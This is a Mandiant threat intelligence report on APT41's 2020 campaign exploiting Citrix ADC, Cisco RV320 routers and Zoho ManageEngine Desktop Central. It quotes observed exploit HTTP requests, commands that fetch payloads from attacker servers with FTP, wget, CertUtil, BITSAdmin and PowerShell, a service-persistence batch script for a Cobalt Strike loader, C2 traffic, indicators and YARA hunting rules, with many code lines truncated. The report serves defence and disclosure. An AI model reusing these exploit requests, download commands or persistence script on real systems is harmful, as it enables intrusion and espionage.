Threat Intelligence

This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits

March 25, 2020

Mandiant

Written by: Christopher Glyer, Dan Perez, Sarah Jones, Steve Miller

Beginning this year, FireEye observed Chinese actor APT41 carry out one of the broadest campaigns by a Chinese cyber espionage actor we have observed in recent years. Between January 20 and March 11, FireEye observed APT41 attempt to exploit vulnerabilities in Citrix NetScaler/ADC, Cisco routers, and Zoho ManageEngine Desktop Central at over 75 FireEye customers. Countries we've seen targeted include Australia, Canada, Denmark, Finland, France, India, Italy, Japan, Malaysia, Mexico, Philippines, Poland, Qatar, Saudi Arabia, Singapore, Sweden, Switzerland, UAE, UK and USA. The following industries were targeted: Banking/Finance, Construction, Media, Non-profit, Oil & Gas, Petrochemical, Pharmaceutical, Real Estate, Telecommunications, Transportation, Travel, and Utility. It's unclear if APT41 scanned the Internet and attempted exploitation en masse or selected a subset of specific organizations to target, but the victims appear to be more targeted in nature.

Exploitation of CVE-2019-19781 (Citrix Application Delivery Controller [ADC])

Starting on January 20, 2020, APT41 used the IP address 66.42.98[.]220 to attempt exploits of Citrix Application Delivery Controller (ADC) and Citrix Gateway devices with CVE-2019-19781 (published December 17, 2019).

FEB 1, 2020
CVE-2019-19781 Exploitation
Downloading 'bsd' Payload
FEB 24 - 25, 2020
CVE-2019-19781 Exploitation
Downloading 'un' Payload

Figure 1: Timeline of key events

The initial CVE-2019-19781 exploitation activity on January 20 and January 21, 2020, involved execution of the command 'file /bin/pwd', which may have achieved two objectives for APT41. First, it would confirm whether the system was vulnerable and the mitigation wasn't applied. Second, it may return architecture-related information

One interesting thing to note is that all observed requests were only performed against Citrix devices, suggesting APT41 was operating with an already-known list of identified devices accessible on the internet.

```
POST /vpns/portal/scripts/newbm.pl HTTP/1.1
Host: [redacted]
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
NSC_NONCE: nsroot
NSC_USER: ../../../netscaler/portal/templates/[
Content-Length: 96

url=http://example.com&title=[redacted]&desc=[%
```

Figure 2: Example APT41 HTTP traffic exploiting CVE-2019-19781

There is a lull in APT41 activity between January 23 and February 1, which is likely related to the Chinese Lunar New Year holidays which occurred between January 24 and January 30, 2020. This has been a common activity pattern by Chinese APT groups in past years as well.

Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the File Transfer Protocol (FTP). Specifically, APT41 executed the command '/usr/bin/ftp -o /tmp/bsd logged in to the FTP server with a username of 'test' and a password that we have redacted, and then downloaded an unknown payload named 'bsd' (which was likely a backdoor).

```
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/
Accept-Encoding: identity
Content-Length: 147
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url=http://example.com&title=[redacted]&desc=[%
```

Figure 3: Example APT41 HTTP traffic exploiting CVE-2019-19781

We did not observe APT41 activity at FireEye customers between February 2 and February 19, 2020. China initiated COVID-19 related quarantines in cities in Hubei province starting on January 23 and January 24, and rolled out quarantines to additional provinces starting between February 2 and February 10. While it is possible that this reduction in activity might be related to the COVID-19 quarantine measures in China, APT41 may have remained active in other ways, which we were unable to observe with FireEye telemetry. We observed a significant uptick in CVE-2019-19781 exploitation on February 24 and payload ‘un’ changed.

```
POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/
Accept-Encoding: identity
Content-Length: 145
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url=http://example.com&title= [redacted]&desc=[
```

Figure 4: Example APT41 HTTP traffic exploiting CVE-2019-19781

Citrix released a mitigation for CVE-2019-19781 on December 17, 2019, and as of January 24, 2020, released permanent fixes for all supported versions of Citrix ADC, Gateway, and SD-WAN WANOP.

Cisco Router Exploitation

On February 21, 2020, APT41 successfully exploited a Cisco RV320 router at a telecommunications organization and downloaded a 32-bit ELF binary payload compiled for a 64-bit MIPS processor named ‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc). It is unknown

CVE-2019-1652) to enable remote code execution on Cisco RV320 and RV325 small business routers and uses wget to download the specified payload.

```
GET /test/fuc
HTTP/1.1
Host: 66.42.98\.220
User-Agent: Wget
Connection: close
```

Figure 5: Example HTTP request showing Cisco RV320 router downloading a payload via wget

66.42.98[.]220 also hosted a file name http://66.42.98[.]220/test/1.txt. The content of 1.txt (MD5: c0c467c8e9b2046d7053642cc9bdd57d) is 'cat /etc/flash/etc/nk_sysconfig', which is the command one would execute on a Cisco RV320 router to display the current configuration.

Cisco PSIRT confirmed that fixed software to address the noted vulnerabilities is available and asks customers to review the following security advisories and take appropriate action:

- Cisco Small Business RV320 and RV325 Routers Information Disclosure Vulnerability
- Cisco Small Business RV320 and RV325 Routers Command Injection Vulnerability

On March 5, 2020, researcher Steven Seeley, published an advisory and released proof-of-concept code for a zero-day remote code execution vulnerability in Zoho ManageEngine Desktop Central versions prior to 10.0.474 (CVE-2020-10189). Beginning on March 8, FireEye observed APT41 use 91.208.184[.]78 to attempt to exploit the Zoho ManageEngine vulnerability at more than a dozen FireEye customers, which resulted in the compromise of at least five separate customers. FireEye observed two separate variations of how the payloads (install.bat and storesyncsvc.dll) were deployed. In the first variation the CVE-2020-10189 exploit was used to directly upload "logger.zip", a simple Java based program, which contained a set of commands to use PowerShell to download and execute install.bat and storesyncsvc.dll.

```
java/lang/Runtime
getRuntime
()Ljava/lang/Runtime;
Xcmd /c powershell $client = new-object System.
Windows\Temp\install.bat')&powershell $client =
C:\Windows\Temp\storesyncsvc.dll')&C:\Windows\T
'(Ljava/lang/String;)Ljava/lang/Process;
StackMapTable
ysoserial/Pwner76328858520609
Lysoserial/Pwner76328858520609;
```

Here we see a toolmark from the tool ysoserial that was used to create the payload in the POC. The string Pwner76328858520609 is unique to the POC payload, indicating that APT41 likely used the POC as source material in their operation.

In the second variation, FireEye observed APT41 leverage the Microsoft BITSAdmin command-line tool to download install.bat (MD5: 7966c2c546b71e800397a67f942858d0) from known APT41 infrastructure 66.42.98[.]220 on port 12345.

```
Parent Process: C:\ManageEngine\DesktopCentral_
Process Arguments: cmd /c bitsadmin /transfer b
```

Figure 7: Example FireEye Endpoint Security event depicting successful CVE-2020-10189 exploitation

In both variations, the install.bat batch file was used to install persistence for a trial-version of Cobalt Strike BEACON loader named storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f).

```
@echo off
set "WORK_DIR=C:\Windows\System32"
set "DLL_NAME=storesyncsvc.dll"
set "SERVICE_NAME=StorSyncSvc"
set "DISPLAY_NAME=Storage Sync Service"
set "DESCRIPTION=The Storage Sync Service is th
sc stop %SERVICE_NAME%
```

```
copy  %~dp0%DLL_NAME%  %WORK_DIR% /Y
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\Cur
sc create "%SERVICE_NAME%" binPath= "%SystemRoo
SC failure "%SERVICE_NAME%" reset= 86400 action
sc description "%SERVICE_NAME%" "%DESCRIPTION%"
reg add "HKLM\SYSTEM\CurrentControlSet\Services
reg add "HKLM\SYSTEM\CurrentControlSet\Services
net start "%SERVICE_NAME%"
```

Figure 8: Contents of install.bat

Storesyncsvc.dll was a Cobalt Strike BEACON implant (trial-version) which connected to exchange.dumb1[.]com (with a DNS resolution of 74.82.201[.]8) using a jquery malleable command and control (C2) profile.

```
GET /jquery-3.3.1.min.js HTTP/1.1
Host: cdn.bootcss.com
Accept: text/html,application/xhtml+xml,applica
Referer: http://cdn.bootcss.com/
Accept-Encoding: gzip, deflate
Cookie: __cfduid=CdkIb8kXFOR_9Mn48DQwhIEuIEgn2V
DA8y_rXEJQGZ6Xlkp_wCoqnImD-bj4DqdTNbj87Rl1kIvZb
User-Agent: Mozilla/5.0 (Windows NT 6.3; Triden
Connection: Keep-Alive Cache-Control: no-cache
```

Figure 9: Example APT41 Cobalt Strike BEACON jquery malleable C2 profile HTTP request

secondary backdoor with a different C2 address that uses Microsoft CertUtil, a common TTP that we've observed APT41 use in past intrusions, which they then used to download 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c). The file 2.exe was a VMProtected Meterpreter downloader used to download Cobalt Strike BEACON shellcode. The usage of VMProtected binaries is another very common TTP that we've observed this group leverage in multiple intrusions in order to delay analysis of other tools in their toolkit.

```
GET /2.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.3
Host: 91.208.184[.]78
```

Figure 10: Example HTTP request downloading '2.exe' VMProtected Meterpreter downloader via CertUtil

```
certutil -urlcache -split -f http://91.208.184[
```

Figure 11: Example CertUtil command to download '2.exe' VMProtected Meterpreter downloader

The Meterpreter downloader 'TzGG' was configured to communicate with 91.208.184[.]78 over port 443 to

BEACON (trial-version).

```
GET /TzGG HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0;
Host: 91.208.184[.]78:443
Connection: Keep-Alive
Cache-Control: no-cache
```

Figure 12: Example HTTP request downloading 'TzGG' shellcode for Cobalt Strike BEACON

The downloaded BEACON shellcode connected to the same C2 server: 91.208.184[.]78. We believe this is an example of the actor attempting to diversify post-exploitation access to the compromised systems.

ManageEngine released a short term mitigation for CVE-2020-10189 on January 20, 2020, and subsequently released an update on March 7, 2020, with a long term fix.

Outlook

This activity is one of the most widespread campaigns we have seen from China-nexus espionage actors in recent years. While APT41 has previously conducted activity with an extensive initial entry such as the trojanizing of NetSarang software, this scanning and exploitation has focused on a subset of our customers, and seems to

It is notable that we have only seen these exploitation attempts leverage publicly available malware such as Cobalt Strike and Meterpreter. While these backdoors are full featured, in previous incidents APT41 has waited to deploy more advanced malware until they have fully understood where they were and carried out some initial reconnaissance. In 2020, APT41 continues to be one of the most prolific threats that FireEye currently tracks. This new activity from this group shows how resourceful and how quickly they can leverage newly disclosed vulnerabilities to their advantage.

Previously, FireEye Mandiant Managed Defense identified APT41 successfully leverage CVE-2019-3396 (Atlassian Confluence) against a U.S. based university. While APT41 is a unique state-sponsored Chinese threat group that conducts espionage, the actor also conducts financially motivated activity for personal gain.

Indicators

Type	Indicator(s)
CVE-2019-19781 Exploitation (Citrix	66.42.98[.]220 CVE-2019-19781 exploitation attempts ‘file /bin/pwd’

Control)	[redacted]\@66.42.98[.]220/bsd CVE-2019-19781 exploitation attempts '/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un' /tmp/bsd /tmp/un
Cisco Router Exploitation	66.42.98\.220 '1.txt' (MD5: c0c467c8e9b2046d7053 'fuc' (MD5: 155e98e5ca8d662fad7dc8
CVE-2020-10189 (Zoho ManageEngine Desktop Central)	66.42.98[.]220 91.208.184[.]78 74.82.201[.]8 exchange.dumb1[.]com install.bat (MD5: 7966c2c546b71e800 storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a C:\Windows\Temp\storesyncsvc.dll

	2.exe (MD5: 3e856162c36b532925c82 C:\Users\[redacted]\install.bat TzGG (MD5: 659bd19b562059f3f0cc9 C:\ManageEngine\DesktopCentral_Se spawning cmd.exe and/or bitsadmin.e Certutil.exe downloading 2.exe and/o 91.208.184[.]78 PowerShell downloading files with Ne

Detecting the Techniques

FireEye detects this activity across our platforms. This table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.

Platform	Signature Name
Endpoint Security	BITSADMIN.EXE MULTISTAGE DOWNLOADER (METHODOLOGY) CERTUTIL.EXE DOWNLOADER A (UTILITY)

	Generic.mg.5c856162c56b5329 POWERSHELL DOWNLOADER (METHODOLOGY) SUSPICIOUS BITSADMIN USAGE B (METHODOLOGY) SAMWELL (BACKDOOR) SUSPICIOUS CODE EXECUTION FROM ZOHO MANAGE ENGINE (EXPLOIT)
Network Security	Backdoor.Meterpreter DTI.Callback Exploit.CitrixNetScaler Trojan.METASTAGE Exploit.ZohoManageEngine.CVE-2020-10198.Pwner Exploit.ZohoManageEngine.CVE-2020-10198.mdmLogUploader
Helix	CITRIX ADC [Suspicious Commands] EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Attempt] EXPLOIT - CITRIX ADC [CVE-2019-

	19781 Payload Access] EXPLOIT - CITRIX ADC [CVE-2019-19781 Scanning] MALWARE METHODOLOGY [Certutil User-Agent] WINDOWS METHODOLOGY [BITSadmin Transfer] WINDOWS METHODOLOGY [Certutil Downloader]

MITRE ATT&CK Technique Mapping

ATT&CK	Techniques
Initial Access	External Remote Services (T1133), Exploit Public-Facing Application (T1190)
Execution	PowerShell (T1086), Scripting (T1064)
Persistence	New Service (T1050)

Escalation	
Defense Evasion	BITS Jobs (T1197), Process Injection (T1055)
Command And Control	Remote File Copy (T1105), Commonly Used Port (T1436), Uncommonly Used Port (T1065), Custom Command and Control Protocol (T1094), Data Encoding (T1132), Standard Application Layer Protocol (T1071)

Appendix A: Discovery Rules

The following Yara rules serve as examples of discovery rules for APT41 actor TTPs, turning the adversary methods or tradecraft into new haystacks for purposes of detection or hunting. For all tradecraft-based discovery rules, we recommend deliberate testing and tuning prior to implementation in any production system. Some of these rules are tailored to build concise haystacks that are easy to review for high-fidelity processing in threat hunting systems.

```
import "pe"
rule ExportEngine_APT41_Loader_String
{
            meta:
                        author = "@stvemillerti
                        description "This looks
            strings:
                        $pcre = /loader_[\x00-\
            condition:
                        uint16(0) == 0x5A4D and
}
rule ExportEngine_ShortName
{
    meta:
        author = "@stvemillertime"
        description = "This looks for Win PEs w
    strings:
        $pcre = /[A-Za-z0-9]{1}\.(dll|exe|dat|b
    condition:
        uint16(0) == 0x5A4D and uint32(uint32(0
}
rule ExportEngine_xArch
{
    meta:
        author = "@stvemillertime"
        description = "This looks for Win PEs w
```

```
            condition:
             uint16(0) == 0x5A4D and uint32(uin
}
rule RareEquities_LibTomCrypt
{
    meta:
        author = "@stvemillertime"
        description = "This looks for executabl
    strings:
        $a1 = "LibTomMath"
    condition:
        uint16(0) == 0x5A4D and uint32(uint32(0
}
rule RareEquities_KCP
{
    meta:
        author = "@stvemillertime"
        description = "This is a wide catchall
    strings:
        $a01 = "[RO] %ld bytes"
        $a02 = "recv sn=%lu"
        $a03 = "[RI] %d bytes"
        $a04 = "input ack: sn=%lu rtt=%ld rto=%
        $a05 = "input psh: sn=%lu ts=%lu"
        $a06 = "input probe"
        $a07 = "input wins: %lu"
        $a08 = "rcv_nxt=%lu\\n"
        $a09 = "snd(buf=%d, queue=%d)\\n"
        $a10 = "rcv(buf=%d, queue=%d)\\n"
        $a11 = "rcvbuf"
```

```
}
rule ConventionEngine_Term_Users
{
            meta:
                        author = "@stvemillerti
                        description = "Searchin
                        sample_md5 = "09e4e6fa8
                        ref_blog = "https://www
            strings:
                        $pcre = /RSDS[\x00-\xFF
            condition:
                        (uint16(0) == 0x5A4D) a
}
rule ConventionEngine_Term_Desktop
{
            meta:
                        author = "@stvemillerti
                        description = "Searchin
                        sample_md5 = "71cdba385
                        ref_blog = "https://www
            strings:
                        $pcre = /RSDS[\x00-\xFF
            condition:
                        (uint16(0) == 0x5A4D) a
}
rule ConventionEngine_Anomaly_MultiPDB_Double
{
            meta:
                        author = "@stvemillerti
                        description = "Searchin
            strings:
                        $pcre = /RSDS[\x00-\xFF
            condition:
                        (uint16(0) == 0x5A4D) a
}
```

Posted in Threat Intelligence—Security & Identity

Related articles

Threat Intelligence

Hybrid Russian Espionage and Influence Campaign Aims to Compromise Ukrainian Military Recruits and Deliver Anti-Mobilization Narratives

By Google Threat Intelligence Group • 10-minute read

Threat Intelligence

Investigating FortiManager Zero-Day Exploitation (CVE-2024-47575)

By Mandiant • 19-minute read

Threat Intelligence

How Low Can You Go? An Analysis of 2023 Time-to-Exploit Trends

By Mandiant • 10-minute read

Threat Intelligence

capa Explorer Web: A Web-Based Tool for Program Capability Analysis

By Mandiant • 6-minute read

Follow us

Google Cloud Google Cloud Products Privacy Terms

Help English